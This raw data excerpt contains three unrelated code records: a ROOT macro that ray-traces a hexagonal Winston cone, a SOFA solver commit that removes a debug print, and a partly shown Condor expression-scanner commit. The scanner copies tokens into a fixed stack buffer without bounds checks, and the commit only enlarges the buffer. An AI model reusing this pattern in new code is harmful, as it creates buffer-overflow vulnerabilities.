2011\/3\/6\n\n\/******************************************************************************\n * Copyright (C) 2006-, Akira Okumura                                         *\n * All rights reserved.                                                       *\n *****************************************************************************\/\n\n\/\/ An example of hexagonal Winston cone\n\n\/\/ define useful units\nstatic const Double_t cm = AOpticsManager::cm();\nstatic const Double_t mm = AOpticsManager::mm();\nstatic const Double_t um = AOpticsManager::um();\nstatic const Double_t nm = AOpticsManager::nm();\nstatic const Double_t m = AOpticsManager::m();\n\nvoid HexWinstonCone(Int_t mode = 0) {\n  \/\/ mode == 0: hex-hex Winston cone built with AGeoWinstonConePoly\n  \/\/ mode == 1: hex-hex Winston cone built with three AGeoWinstonCone2D\n  \/\/ mode == 2: circle-circle Winston cone with AGeoWinstonConePoly\n\n  AOpticsManager* manager = new AOpticsManager(\"manager\", \"SC\");\n\n  \/\/ Make the world\n  TGeoBBox* worldbox = new TGeoBBox(\"worldbox\", 30 * m, 30 * m, 30 * m);\n  AOpticalComponent* world = new AOpticalComponent(\"world\", worldbox);\n  manager->SetTopVolume(world);\n\n  \/\/ Make the primary mirror\n  const Double_t kRin = 20 * mm;\n  const Double_t kRout = 10 * mm;\n  TGeoRotation* rot30 = new TGeoRotation(\"rot30\", 30, 0, 0);\n  rot30->RegisterYourself();\n  TGeoRotation* rot60 = new TGeoRotation(\"rot60\", 60, 0, 0);\n  rot60->RegisterYourself();\n  TGeoRotation* rot120 = new TGeoRotation(\"rot120\", 120, 0, 0);\n  rot120->RegisterYourself();\n\n  AGeoWinstonCone2D* coneV =\n      new AGeoWinstonCone2D(\"coneV\", kRin, kRout, kRin * 1.733);\n  TGeoPgon* pgon = new TGeoPgon(\"pgon\", 0, 360, 6, 4);\n  pgon->DefineSection(0, -coneV->GetDZ() * 0.999, 0, kRout * 1.1);\n  pgon->DefineSection(1, -coneV->GetDZ() * 0.5, 0, kRin * 0.9);\n  pgon->DefineSection(2, -coneV->GetDZ() * 0., 0, kRin * 0.99);\n  pgon->DefineSection(3, coneV->GetDZ() * 0.999, 0, kRin * 1.001);\n\n  if (mode == 0) {\n    AGeoWinstonConePoly* hexV = new AGeoWinstonConePoly(\"hexV\", kRin, kRout, 6);\n    TGeoCompositeShape* coneComp1 =\n        new TGeoCompositeShape(\"coneComp1\", \"pgon:rot30 - hexV\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp1);\n    world->AddNode(coneMirror, 1);\n  } else if (mode == 1) {\n    TGeoCompositeShape* coneComp1 = new TGeoCompositeShape(\n        \"coneComp1\", \"coneV*(coneV:rot60)*(coneV:rot120)\");\n    TGeoCompositeShape* coneComp2 =\n        new TGeoCompositeShape(\"coneComp2\", \"pgon:rot30 - coneComp1\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp2);\n    world->AddNode(coneMirror, 1);\n  } else {\n    AGeoWinstonConePoly* hexV =\n        new AGeoWinstonConePoly(\"hexV\", kRin, kRout, 100);\n    TGeoCompositeShape* coneComp1 =\n        new TGeoCompositeShape(\"coneComp1\", \"pgon:rot30 - hexV\");\n    AMirror* coneMirror = new AMirror(\"coneMirror\", coneComp1);\n    world->AddNode(coneMirror, 1);\n  }  \/\/ if\n\n  TGeoPgon* pgonPMT = new TGeoPgon(\"pgonPMT\", 0, 360, 6, 2);\n  pgonPMT->DefineSection(0, -coneV->GetDZ() - 0.01 * mm, 0, kRout * 1.01);\n  pgonPMT->DefineSection(1, -coneV->GetDZ(), 0, kRout * 1.01);\n  AFocalSurface* pmt = new AFocalSurface(\"pmt\", pgonPMT);\n  world->AddNode(pmt, 1, rot30);\n\n  manager->CloseGeometry();\n\n  TCanvas* can1 = new TCanvas(\"can1\", \"can1\");\n  world->Draw();\n\n  TGraph* graAeff = new TGraph;\n\n  for (Double_t deg = 0.; deg < 40.; deg += 0.1) {\n    TGeoTranslation* raytr = new TGeoTranslation(\n        \"raytr\", 100 * mm * TMath::Sin(deg * TMath::DegToRad()), 0,\n        100 * mm * TMath::Cos(deg * TMath::DegToRad()));\n    TGeoRotation* rayrot = new TGeoRotation(\"rayrot\", 90, 180 + deg, 0);\n\n    TVector3 dir(0, 0, 1);\n    Double_t lambda =\n        400 * nm;  \/\/ does not affect the results because we have no lens\n    \/\/ 1 photon per 1 mm^2\n    ARayArray* array =\n        ARayShooter::Square(lambda, 100 * mm, 101, rayrot, raytr, &dir);\n    Double_t dA = 1 * mm * mm;\n    manager->TraceNonSequential(*array);\n    TObjArray* focused = array->GetFocused();\n\n    Double_t Aeff = 0.;\n    for (Int_t j = 0; j <= focused->GetLast(); j++) {\n      ARay* ray = (ARay*)(*focused)[j];\n      if (!ray) continue;\n\n      \/\/ Calculate the effective area from the number of focused photons\n      Aeff += dA;\n\n      if (graAeff->GetN() == 0) {\n        ray->Draw();  \/\/ high CPU load!\n      }               \/\/ if\n    }                 \/\/ j\n\n    if (mode == 0 || mode == 1) {\n      graAeff->SetPoint(graAeff->GetN(), deg,\n                        Aeff \/ (2 * TMath::Sqrt(3) * kRin * kRin) \/\n                            TMath::Cos(deg * TMath::DegToRad()));\n    } else {\n      graAeff->SetPoint(graAeff->GetN(), deg,\n                        Aeff \/ (TMath::Pi() * kRin * kRin) \/\n                            TMath::Cos(deg * TMath::DegToRad()));\n    }  \/\/ if\n\n    delete array;\n  }  \/\/ deg\n\n  TCanvas* can2 = new TCanvas(\"can2\", \"can2\");\n  graAeff->GetXaxis()->SetTitle(\"Incident Angle (deg)\");\n  graAeff->GetYaxis()->SetTitle(\"Collection Efficiency (%)\");\n  graAeff->Draw(\"ap\");\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Author: François Faure, INRIA-UJF, (C) 2006\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n#include \"Sofa\/Components\/CGImplicitSolver.h\"\n\/\/#include \"Sofa\/Core\/IntegrationGroup.h\"\n#include \"Sofa\/Core\/MultiVector.h\"\n#include \"Common\/ObjectFactory.h\"\n\n#include <math.h>\n#include <iostream>\nusing std::cerr;\nusing std::endl;\n\nnamespace Sofa\n{\n\nnamespace Components\n{\n\nusing namespace Common;\nusing namespace Core;\n\nCGImplicitSolver::CGImplicitSolver()\n    : f_maxIter( dataField(&f_maxIter,(unsigned)25,\"iterations\",\"maximum number of iterations of the Conjugate Gradient solution\") )\n    , f_tolerance( dataField(&f_tolerance,1e-5,\"tolerance\",\"desired precision of the Conjugate Gradient Solution (ratio of current residual norm over initial residual norm)\") )\n    , f_smallDenominatorThreshold( dataField(&f_smallDenominatorThreshold,1e-5,\"threshold\",\"minimum value of the denominator in the conjugate Gradient solution\") )\n    , f_rayleighStiffness( dataField(&f_rayleighStiffness,0.1,\"rayleighStiffness\",\"Rayleigh damping coefficient related to stiffness\") )\n    , f_rayleighMass( dataField(&f_rayleighMass,0.1,\"rayleighMass\",\"Rayleigh damping coefficient related to mass\"))\n    , f_velocityDamping( dataField(&f_velocityDamping,0.,\"vdamping\",\"Velocity decay coefficient (no decay if null)\") )\n{\n    \/\/     maxCGIter = 25;\n    \/\/     smallDenominatorThreshold = 1e-5;\n    \/\/     tolerance = 1e-5;\n    \/\/     rayleighStiffness = 0.1;\n    \/\/     rayleighMass = 0.1;\n    \/\/     velocityDamping = 0;\n\n}\n\n\/\/ CGImplicitSolver* CGImplicitSolver::setMaxIter( int n )\n\/\/ {\n\/\/     maxCGIter = n;\n\/\/     return this;\n\/\/ }\n\nvoid CGImplicitSolver::solve(double dt)\n{\n    CGImplicitSolver* group = this;\n    MultiVector pos(group, VecId::position());\n    MultiVector vel(group, VecId::velocity());\n\/\/     MultiVector dx(group, VecId::dx());\n    MultiVector f(group, VecId::force());\n    MultiVector b(group, V_DERIV);\n    MultiVector p(group, V_DERIV);\n    MultiVector q(group, V_DERIV);\n    MultiVector q2(group, V_DERIV);\n    MultiVector r(group, V_DERIV);\n    MultiVector x(group, V_DERIV);\n    \/\/MultiVector z(group, V_DERIV);\n    double h = dt;\n    bool printLog = f_printLog.getValue();\n\n    \/\/ compute the right-hand term of the equation system\n    group->computeForce(b);             \/\/ b = f0\n    group->propagateDx(vel);            \/\/ dx = v\n    group->computeDf(f);                \/\/ f = df\/dx v\n    b.peq(f,h+f_rayleighStiffness.getValue());      \/\/ b = f0 + (h+rs)df\/dx v\n\n\n    if (f_rayleighMass.getValue() != 0.0)\n    {\n        f.clear();\n        group->addMdx(f,vel);\n        b.peq(f,-f_rayleighMass.getValue());     \/\/ b = f0 + (h+rs)df\/dx v - rd M v\n    }\n\n\n    b.teq(h);                           \/\/ b = h(f0 + (h+rs)df\/dx v - rd M v)\n    group->projectResponse(b);          \/\/ b is projected to the constrained space\n\n    double normb = sqrt(b.dot(b));\n\n\n    \/\/ -- solve the system using a conjugate gradient solution\n    double rho, rho_1=0, alpha, beta;\n    group->v_clear( x );\n    group->v_eq(r,b); \/\/ initial residual\n\n    if( printLog )\n    {\n        cerr<<\"CGImplicitSolver, dt = \"<< dt <<endl;\n        cerr<<\"CGImplicitSolver, initial x = \"<< pos <<endl;\n        cerr<<\"CGImplicitSolver, initial v = \"<< vel <<endl;\n        cerr<<\"CGImplicitSolver, f0 = \"<< b <<endl;\n        cerr<<\"CGImplicitSolver, r0 = \"<< r <<endl;\n    }\n\n    unsigned nb_iter;\n    const char* endcond = \"iterations\";\n    for( nb_iter=1; nb_iter<=f_maxIter.getValue(); nb_iter++ )\n    {\n        cerr<<\"r : \"<<sqrt(r.dot(r))<<endl;\n\n        \/\/z = r; \/\/ no precond\n        \/\/rho = r.dot(z);\n        rho = r.dot(r);\n\n\n        if( nb_iter==1 )\n            p = r; \/\/z;\n        else\n        {\n            beta = rho \/ rho_1;\n            p *= beta;\n            p += r; \/\/z;\n        }\n\n\/\/ \t\tcerr<<\"p : \"<<p<<endl;\n\n        \/\/ matrix-vector product\n        group->propagateDx(p);          \/\/ dx = p\n\n\n        group->computeDf(q);            \/\/ q = df\/dx p\n\n\n\/\/ \t\tcerr<<\"computeDf(q) : \"<<q<<endl;\n\n        q *= -h*(h+f_rayleighStiffness.getValue());  \/\/ q = -h(h+rs) df\/dx p\n\/\/\n\/\/ \t\tcerr<<\"-h(h+rs) df\/dx p : \"<<q<<endl;\n\/\/ \t\tcerr<<\"f_rayleighMass.getValue() : \"<<f_rayleighMass.getValue()<<endl;\n\n        if (f_rayleighMass.getValue()==0.0)\n            group->addMdx( q, p);           \/\/ q = Mp -h(h+rs) df\/dx p\n        else\n        {\n            q2.clear();\n            group->addMdx( q2, p);\n            q.peq(q2,(1+h*f_rayleighMass.getValue())); \/\/ q = Mp -h(h+rs) df\/dx p +hr Mp  =  (M + dt(rd M + rs K) + dt2 K) dx\n        }\n        \/\/ filter the product to take the constraints into account\n\/\/\n\/\/ \t   cerr<<\"q : \"<<q<<endl;\n\n        group->projectResponse(q);     \/\/ q is projected to the constrained space\n\n\n        double den = p.dot(q);\n\n\n        if( fabs(den)<f_smallDenominatorThreshold.getValue() )\n        {\n            endcond = \"threshold\";\n            if( printLog )\n            {\n\/\/                 cerr<<\"CGImplicitSolver, den = \"<<den<<\", smallDenominatorThreshold = \"<<f_smallDenominatorThreshold.getValue()<<endl;\n            }\n            break;\n        }\n        alpha = rho\/den;\n        x.peq(p,alpha);                 \/\/ x = x + alpha p\n        r.peq(q,-alpha);                \/\/ r = r - alpha r\n\n\n        double normr = sqrt(r.dot(r));\n        if (normr\/normb <= f_tolerance.getValue())\n        {\n            endcond = \"tolerance\";\n            break;\n        }\n        rho_1 = rho;\n    }\n    \/\/ x is the solution of the system\n\n    \/\/ apply the solution\n    vel.peq( x );                       \/\/ vel = vel + x\n    pos.peq( vel, h );                  \/\/ pos = pos + h vel\n    if (f_velocityDamping.getValue()!=0.0)\n        vel *= exp(-h*f_velocityDamping.getValue());\n\n    if( printLog )\n    {\n        cerr<<\"CGImplicitSolver::solve, nbiter = \"<<nb_iter<<\" stop because of \"<<endcond<<endl;\n        cerr<<\"CGImplicitSolver::solve, solution = \"<<x<<endl;\n        cerr<<\"CGImplicitSolver, final x = \"<< pos <<endl;\n        cerr<<\"CGImplicitSolver, final v = \"<< vel <<endl;\n    }\n}\n\nvoid create(CGImplicitSolver*& obj, ObjectDescription* arg)\n{\n    obj = new CGImplicitSolver();\n    obj->parseFields( arg->getAttributeMap() );\n}\n\nSOFA_DECL_CLASS(CGImplicit)\n\nCreator<ObjectFactory, CGImplicitSolver> CGImplicitSolverClass(\"CGImplicit\");\n\n} \/\/ namespace Components\n\n} \/\/ namespace Sofa\n\n<commit_msg>r651\/sofa-dev : <commit_after>\/\/ Author: François Faure, INRIA-UJF, (C) 2006\n\/\/\n\/\/ Copyright: See COPYING file that comes with this distribution\n#include \"Sofa\/Components\/CGImplicitSolver.h\"\n\/\/#include \"Sofa\/Core\/IntegrationGroup.h\"\n#include \"Sofa\/Core\/MultiVector.h\"\n#include \"Common\/ObjectFactory.h\"\n\n#include <math.h>\n#include <iostream>\nusing std::cerr;\nusing std::endl;\n\nnamespace Sofa\n{\n\nnamespace Components\n{\n\nusing namespace Common;\nusing namespace Core;\n\nCGImplicitSolver::CGImplicitSolver()\n    : f_maxIter( dataField(&f_maxIter,(unsigned)25,\"iterations\",\"maximum number of iterations of the Conjugate Gradient solution\") )\n    , f_tolerance( dataField(&f_tolerance,1e-5,\"tolerance\",\"desired precision of the Conjugate Gradient Solution (ratio of current residual norm over initial residual norm)\") )\n    , f_smallDenominatorThreshold( dataField(&f_smallDenominatorThreshold,1e-5,\"threshold\",\"minimum value of the denominator in the conjugate Gradient solution\") )\n    , f_rayleighStiffness( dataField(&f_rayleighStiffness,0.1,\"rayleighStiffness\",\"Rayleigh damping coefficient related to stiffness\") )\n    , f_rayleighMass( dataField(&f_rayleighMass,0.1,\"rayleighMass\",\"Rayleigh damping coefficient related to mass\"))\n    , f_velocityDamping( dataField(&f_velocityDamping,0.,\"vdamping\",\"Velocity decay coefficient (no decay if null)\") )\n{\n    \/\/     maxCGIter = 25;\n    \/\/     smallDenominatorThreshold = 1e-5;\n    \/\/     tolerance = 1e-5;\n    \/\/     rayleighStiffness = 0.1;\n    \/\/     rayleighMass = 0.1;\n    \/\/     velocityDamping = 0;\n\n}\n\n\/\/ CGImplicitSolver* CGImplicitSolver::setMaxIter( int n )\n\/\/ {\n\/\/     maxCGIter = n;\n\/\/     return this;\n\/\/ }\n\nvoid CGImplicitSolver::solve(double dt)\n{\n    CGImplicitSolver* group = this;\n    MultiVector pos(group, VecId::position());\n    MultiVector vel(group, VecId::velocity());\n\/\/     MultiVector dx(group, VecId::dx());\n    MultiVector f(group, VecId::force());\n    MultiVector b(group, V_DERIV);\n    MultiVector p(group, V_DERIV);\n    MultiVector q(group, V_DERIV);\n    MultiVector q2(group, V_DERIV);\n    MultiVector r(group, V_DERIV);\n    MultiVector x(group, V_DERIV);\n    \/\/MultiVector z(group, V_DERIV);\n    double h = dt;\n    bool printLog = f_printLog.getValue();\n\n    \/\/ compute the right-hand term of the equation system\n    group->computeForce(b);             \/\/ b = f0\n    group->propagateDx(vel);            \/\/ dx = v\n    group->computeDf(f);                \/\/ f = df\/dx v\n    b.peq(f,h+f_rayleighStiffness.getValue());      \/\/ b = f0 + (h+rs)df\/dx v\n\n\n    if (f_rayleighMass.getValue() != 0.0)\n    {\n        f.clear();\n        group->addMdx(f,vel);\n        b.peq(f,-f_rayleighMass.getValue());     \/\/ b = f0 + (h+rs)df\/dx v - rd M v\n    }\n\n\n    b.teq(h);                           \/\/ b = h(f0 + (h+rs)df\/dx v - rd M v)\n    group->projectResponse(b);          \/\/ b is projected to the constrained space\n\n    double normb = sqrt(b.dot(b));\n\n\n    \/\/ -- solve the system using a conjugate gradient solution\n    double rho, rho_1=0, alpha, beta;\n    group->v_clear( x );\n    group->v_eq(r,b); \/\/ initial residual\n\n    if( printLog )\n    {\n        cerr<<\"CGImplicitSolver, dt = \"<< dt <<endl;\n        cerr<<\"CGImplicitSolver, initial x = \"<< pos <<endl;\n        cerr<<\"CGImplicitSolver, initial v = \"<< vel <<endl;\n        cerr<<\"CGImplicitSolver, f0 = \"<< b <<endl;\n        cerr<<\"CGImplicitSolver, r0 = \"<< r <<endl;\n    }\n\n    unsigned nb_iter;\n    const char* endcond = \"iterations\";\n    for( nb_iter=1; nb_iter<=f_maxIter.getValue(); nb_iter++ )\n    {\n\n        \/\/z = r; \/\/ no precond\n        \/\/rho = r.dot(z);\n        rho = r.dot(r);\n\n\n        if( nb_iter==1 )\n            p = r; \/\/z;\n        else\n        {\n            beta = rho \/ rho_1;\n            p *= beta;\n            p += r; \/\/z;\n        }\n\n\/\/ \t\tcerr<<\"p : \"<<p<<endl;\n\n        \/\/ matrix-vector product\n        group->propagateDx(p);          \/\/ dx = p\n\n\n        group->computeDf(q);            \/\/ q = df\/dx p\n\n\n\/\/ \t\tcerr<<\"computeDf(q) : \"<<q<<endl;\n\n        q *= -h*(h+f_rayleighStiffness.getValue());  \/\/ q = -h(h+rs) df\/dx p\n\/\/\n\/\/ \t\tcerr<<\"-h(h+rs) df\/dx p : \"<<q<<endl;\n\/\/ \t\tcerr<<\"f_rayleighMass.getValue() : \"<<f_rayleighMass.getValue()<<endl;\n\n        if (f_rayleighMass.getValue()==0.0)\n            group->addMdx( q, p);           \/\/ q = Mp -h(h+rs) df\/dx p\n        else\n        {\n            q2.clear();\n            group->addMdx( q2, p);\n            q.peq(q2,(1+h*f_rayleighMass.getValue())); \/\/ q = Mp -h(h+rs) df\/dx p +hr Mp  =  (M + dt(rd M + rs K) + dt2 K) dx\n        }\n        \/\/ filter the product to take the constraints into account\n\/\/\n\/\/ \t   cerr<<\"q : \"<<q<<endl;\n\n        group->projectResponse(q);     \/\/ q is projected to the constrained space\n\n\n        double den = p.dot(q);\n\n\n        if( fabs(den)<f_smallDenominatorThreshold.getValue() )\n        {\n            endcond = \"threshold\";\n            if( printLog )\n            {\n\/\/                 cerr<<\"CGImplicitSolver, den = \"<<den<<\", smallDenominatorThreshold = \"<<f_smallDenominatorThreshold.getValue()<<endl;\n            }\n            break;\n        }\n        alpha = rho\/den;\n        x.peq(p,alpha);                 \/\/ x = x + alpha p\n        r.peq(q,-alpha);                \/\/ r = r - alpha r\n\n\n        double normr = sqrt(r.dot(r));\n        if (normr\/normb <= f_tolerance.getValue())\n        {\n            endcond = \"tolerance\";\n            break;\n        }\n        rho_1 = rho;\n    }\n    \/\/ x is the solution of the system\n\n    \/\/ apply the solution\n    vel.peq( x );                       \/\/ vel = vel + x\n    pos.peq( vel, h );                  \/\/ pos = pos + h vel\n    if (f_velocityDamping.getValue()!=0.0)\n        vel *= exp(-h*f_velocityDamping.getValue());\n\n    if( printLog )\n    {\n        cerr<<\"CGImplicitSolver::solve, nbiter = \"<<nb_iter<<\" stop because of \"<<endcond<<endl;\n        cerr<<\"CGImplicitSolver::solve, solution = \"<<x<<endl;\n        cerr<<\"CGImplicitSolver, final x = \"<< pos <<endl;\n        cerr<<\"CGImplicitSolver, final v = \"<< vel <<endl;\n    }\n}\n\nvoid create(CGImplicitSolver*& obj, ObjectDescription* arg)\n{\n    obj = new CGImplicitSolver();\n    obj->parseFields( arg->getAttributeMap() );\n}\n\nSOFA_DECL_CLASS(CGImplicit)\n\nCreator<ObjectFactory, CGImplicitSolver> CGImplicitSolverClass(\"CGImplicit\");\n\n} \/\/ namespace Components\n\n} \/\/ namespace Sofa\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/******************************************************************************\n\/\/ scanner.C\n\/\/\n\/\/ scanner() is used by parser to return the elements of an expression one at\n\/\/ a time.\n\/\/ \n\/\/******************************************************************************\n\n#include <stdlib.h> \n#include <stdio.h> \n#include <string.h>\n#include <ctype.h> \n#include \"condor_exprtype.h\"\n#include \"condor_scanner.h\" \n\nstatic int \tMAXVARNAME = 100;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Implementation of class Token\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nToken::Token()\n{\n\tlength = 0;\n\ttype = NOT_KEYWORD;\n\tstrVal = NULL;\n\tisString = FALSE;\n}\n\nToken::~Token()\n{\n\tif(isString)\n\t{\n\t\tdelete []strVal;\n\t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ This function reads input from a string, returns a token;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Scanner(char*& s, Token& t)\n{ \n    char\tstr[MAXVARNAME];\n    char*\ttmp;\t\t\/\/ working variable\n\n    \/\/ skip white space\n    t.length = 0;\n    while(*s == ' ')\n    {\n        s = s + 1;\n\t\tt.length++;\n    }\n\n    if(!strncmp(s, \"NULL\", 4) && !isalpha(*(s+4)) && *(s+4) != '_')\n    \/\/ NULL\n    {\n        s = s + 4;\n\t\tt.length = t.length + 4;\n        t.type = LX_NULL;\n\t\treturn;\n    }\n    if(!strncmp(s, \"TRUE\", 4) && !isalpha(*(s+4)) && *(s+4) != '_')\n    \/\/ TRUE\n    {\n        s = s + 4;\n\t\tt.length = t.length + 4;\n        t.intVal = 1;\n        t.type = LX_BOOL;\n\t\treturn;\n    }\n    if(!strncmp(s, \"FALSE\", 5) && !isalpha(*(s+5)) && *(s+5) != '_')\n    \/\/ FALSE\n    {\n        s = s + 5;\n\t\tt.length = t.length + 5;\n        t.intVal = 0;\n        t.type = LX_BOOL;\n\t\treturn;\n    }\n    if(isalpha(*s) || *s == '_')\n    \/\/ token is a variable\n    {\n        tmp = str;\n        \/\/ prefix, if any.\n\t\tif(!strncmp(s, \"MY.\", 3) && (isalpha(*(s+3)) || *(s+3) == '_'))\n\t\t{\n\t\t\tfor(int i=0; i<3; i++)\n\t\t\t{\n\t\t\t\t*tmp = *s;\n\t\t\t\ts++;\n\t\t\t\ttmp++;\n\t\t\t\tt.length++;\n\t\t\t}\n\t\t}\n\t\telse if(!strncmp(s, \"TARGET.\", 7) && (isalpha(*(s+7)) || *(s+7) == '_'))\n\t\t{\n\t\t\tfor(int i=0; i<7; i++)\n\t\t\t{\n\t\t\t\t*tmp = *s;\n\t\t\t\ts++;\n\t\t\t\ttmp++;\n\t\t\t\tt.length++;\n\t\t\t}\n\t\t}\n\t\t\/\/ the rest of the variable.\n        while(isalnum(*s) || *s == '_')\n\t\t{ \n\t\t\t*tmp = *s;\n\t\t\ts++;\n            tmp++;\n\t\t\tt.length++;\n        }\n        *tmp = '\\0';\n        t.strVal = new char[strlen(str) + 1];\n\t\tstrcpy(t.strVal, str);\n        t.type = LX_VARIABLE;\n\t\tt.isString = TRUE;\n\t\treturn;\n    }\n    if(isdigit(*s))\n    \/\/ token is an integer or a floating point number\n    {\n\t\t\/\/ count the length of the number\n        tmp = s;\n        while(isdigit(*tmp))\n\t\t{\n\t\t\ttmp++;\n\t\t\tt.length++;\n\t\t}\n        if(*tmp == '.')\n        \/\/ token is a floating point number\n        {\n\t\t\tt.length++;\n\t\t\tfor(tmp++; isdigit(*tmp); tmp++) t.length++;\n            t.floatVal = strtod(s, &s);\n            t.type = LX_FLOAT; \n        }\n\t\telse\n\t\t\/\/ token is an integer number\n\t\t{\n            t.intVal = strtol(s, &s, 10);\n            t.type = LX_INTEGER; \n        }\n\t\treturn;\n    }\n    if(*s == '\"' || (*s == '\\\\' && *(s+1) == '\"'))\n    \/\/ token is a string\n    {\n        s++;\n\t\ttmp = str;\n\t\tt.length++;\n        while(*s != '\"' && *s != '\\0')\n\t\t{\n\t\t\t*tmp = *s;\n\t\t\ts++;\n            tmp++;\n\t\t\tt.length++;\n        }\n        if(*s == '\\0')\n\t\t{\n\t\t\t t.type = LX_ERROR;\n\t\t\t t.length = 0;\n\t\t\t return;\n\t\t}\n        s++;\n\t\tt.length++;\n        *tmp = '\\0';\n\t\tt.strVal = new char[strlen(str) + 1];\n\t\tstrcpy(t.strVal, str);\n        t.type = LX_STRING; \n\t\tt.isString = TRUE;\n\t\treturn;\n    }\n\n    \/\/ token is an operator or a unit\n\tswitch(*s)\n\t{\n\t\tcase '(': t.type = LX_LPAREN;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break; \n\n\t\tcase ')': t.type = LX_RPAREN;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break; \n\n\t\tcase '+': t.type = LX_ADD;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '-': t.type = LX_SUB;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '*': t.type = LX_MULT;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '\/': t.type = LX_DIV;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tcase '<': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t\t   t.type = LX_LE;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_LT; \n\t\t\t   }\n\t\t\t   break; \n\n\t\tcase '>': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t\t   t.type = LX_GE; \n\t\t\t   }\n\t\t\t   else \n\t\t\t   {\n\t\t\t\t   t.type = LX_GT; \n\t\t\t   }\n\t\t\t   break; \n\n\t\tcase '&': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '&')\n\t\t\t   {\n\t\t\t\t   t.type = LX_AND;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '|': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '|')\n\t\t\t   {\n\t\t\t\t\tt.type = LX_OR;\n\t\t\t\t\ts = s + 1;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '\\0':\n\t\tcase '\\n': t.type = LX_EOF;\n\t\t\t\tbreak;\n\n\t\tcase '!': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   t.type = LX_NEQ;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ERROR;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '=': s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   if(*s == '=')\n\t\t\t   {\n\t\t\t\t   t.type = LX_EQ;\n\t\t\t\t   s = s + 1;\n\t\t\t\t   t.length++;\n\t\t\t   }\n\t\t\t   else\n\t\t\t   {\n\t\t\t\t   t.type = LX_ASSIGN;\n\t\t\t   }\n\t\t\t   break;\n\n\t\tcase '$': t.type = LX_MACRO;\n\t\t\t   s = s + 1;\n\t\t\t   t.length++;\n\t\t\t   break;\n\n\t\tdefault:\tt.type = LX_ERROR;\n\t\t\t\t\tbreak;\n\t} \n}\n<commit_msg>changed MAXVARNAME to 256 instead of 100 which is causing segmentation fault<commit_after>\/\/******************************************************************************\n\/\/ scanner.C\n\/\/\n\/\/ scanner() is used by parser to return the elements of an expression one at\n\/\/ a time.\n\/\/ \n\/\/******************************************************************************\n\n#include <stdlib.h> \n#include <stdio.h> \n#include <string.h>\n#include <ctype.h> \n#include \"condor_exprtype.h\"\n#include \"condor_scanner.h\" \n\nstatic int \tMAXVARNAME = 256;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Implementation of class Token\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nToken::Token()\n{\n\tlength = 0;\n\ttype = NOT_KEYWORD;\n\tstrVal = NULL;\n\tisString = FALSE;\n}\n\nToken::~Token()\n{\n\tif(isString)\n\t{\n\t\tdelete 